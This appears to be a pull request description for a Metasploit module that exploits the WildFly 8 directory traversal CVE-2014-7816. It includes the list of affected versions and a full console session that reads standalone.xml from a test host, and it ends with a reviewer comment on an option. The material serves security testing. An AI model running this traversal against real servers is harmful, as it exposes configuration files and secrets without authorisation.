Add CVE-2014-7816 Directory Traversal for WildFly 8 Application

#### Module to read file via directory traversal in WildFly Application.

  Application: WildFly 8 (JBossAS)
  Homepage: www.wildfly.org
  References: http://www.openwall.com/lists/oss-security/2014/11/27/4

#### Vulnerable packages*
        
  WildFly 8 Application (8.1.0.Final)
  WildFly 8 Application (9.0.0.Alpha1)
  WildFly 8 Application (8.0.0.Final)

#### Fixed in:

  WildFly 8 Application (8.2.0.Final)

#### Usage:
```
msf > use auxiliary/scanner/http/wildfly_8_traversal 
msf auxiliary(wildfly_8_traversal) > show options 

Module options (auxiliary/scanner/http/wildfly_8_traversal):

   Name      Current Setting                            Required  Description
   ----      ---------------                            --------  -----------
   FILEPATH  standalone\\configuration\\standalone.xml  no        Specify a parameter for the action
   Proxies                                              no        Use a proxy chain
   RHOSTS                                               yes       The target address range or CIDR identifier
   RPORT     8080                                       yes       The target port
   THREADS   1                                          yes       The number of concurrent threads
   VHOST                                                no        HTTP server virtual host

msf auxiliary(wildfly_8_traversal) > info

       Name: WildFly 8 (JBossAS) Directory Traversal
     Module: auxiliary/scanner/http/wildfly_8_traversal
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2014-10-22

Provided by:
  Roberto Soares Espreto <robertoespreto@gmail.com>

Basic options:
  Name      Current Setting                            Required  Description
  ----      ---------------                            --------  -----------
  FILEPATH  standalone\\configuration\\standalone.xml  no        Specify a parameter for the action
  Proxies                                              no        Use a proxy chain
  RHOSTS                                               yes       The target address range or CIDR identifier
  RPORT     8080                                       yes       The target port
  THREADS   1                                          yes       The number of concurrent threads
  VHOST                                                no        HTTP server virtual host

Description:
  This module exploits a directory traversal vulnerability found in 
  WildFly 8.1.0.Final webserver on port 8080. Code execution seems 
  unlikely with WildFly default configuration.

References:
  http://cvedetails.com/cve/2014-7816/
  https://access.redhat.com/security/cve/CVE-2014-7816
  https://www.conviso.com.br/advisories/CONVISO-14-001.txt
  http://www.openwall.com/lists/oss-security/2014/11/27/4

msf auxiliary(wildfly_8_traversal) > set RHOSTS 192.168.0.23
RHOSTS => 192.168.0.23
msf auxiliary(wildfly_8_traversal) > run

[*] Attempting to download: standalone\\configuration\\standalone.xml
[*] Server returns HTTP code: 200
[*] File saved in: /home/espreto/.msf4/loot/20141126235426_default_192.168.0.23_wildfly.http_025501.xml
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(wildfly_8_traversal) > head -10 /home/espreto/.msf4/loot/20141126235426_default_192.168.0.23_wildfly.http_025501.xml
[*] exec: head -10 /home/espreto/.msf4/loot/20141126235426_default_192.168.0.23_wildfly.http_025501.xml

<?xml version='1.0' encoding='UTF-8'?>

<server xmlns="urn:jboss:domain:2.1">
    <extensions>
        <extension module="org.jboss.as.clustering.infinispan"/>
        <extension module="org.jboss.as.connector"/>
        <extension module="org.jboss.as.deployment-scanner"/>
        <extension module="org.jboss.as.ee"/>
        <extension module="org.jboss.as.ejb3"/>
        <extension module="org.jboss.as.jaxrs"/>
msf auxiliary(wildfly_8_traversal) >
```
Make it mandatory: ```OptString.new("FILEPATH", [true```, so you don't need to check for it later in the run_host method.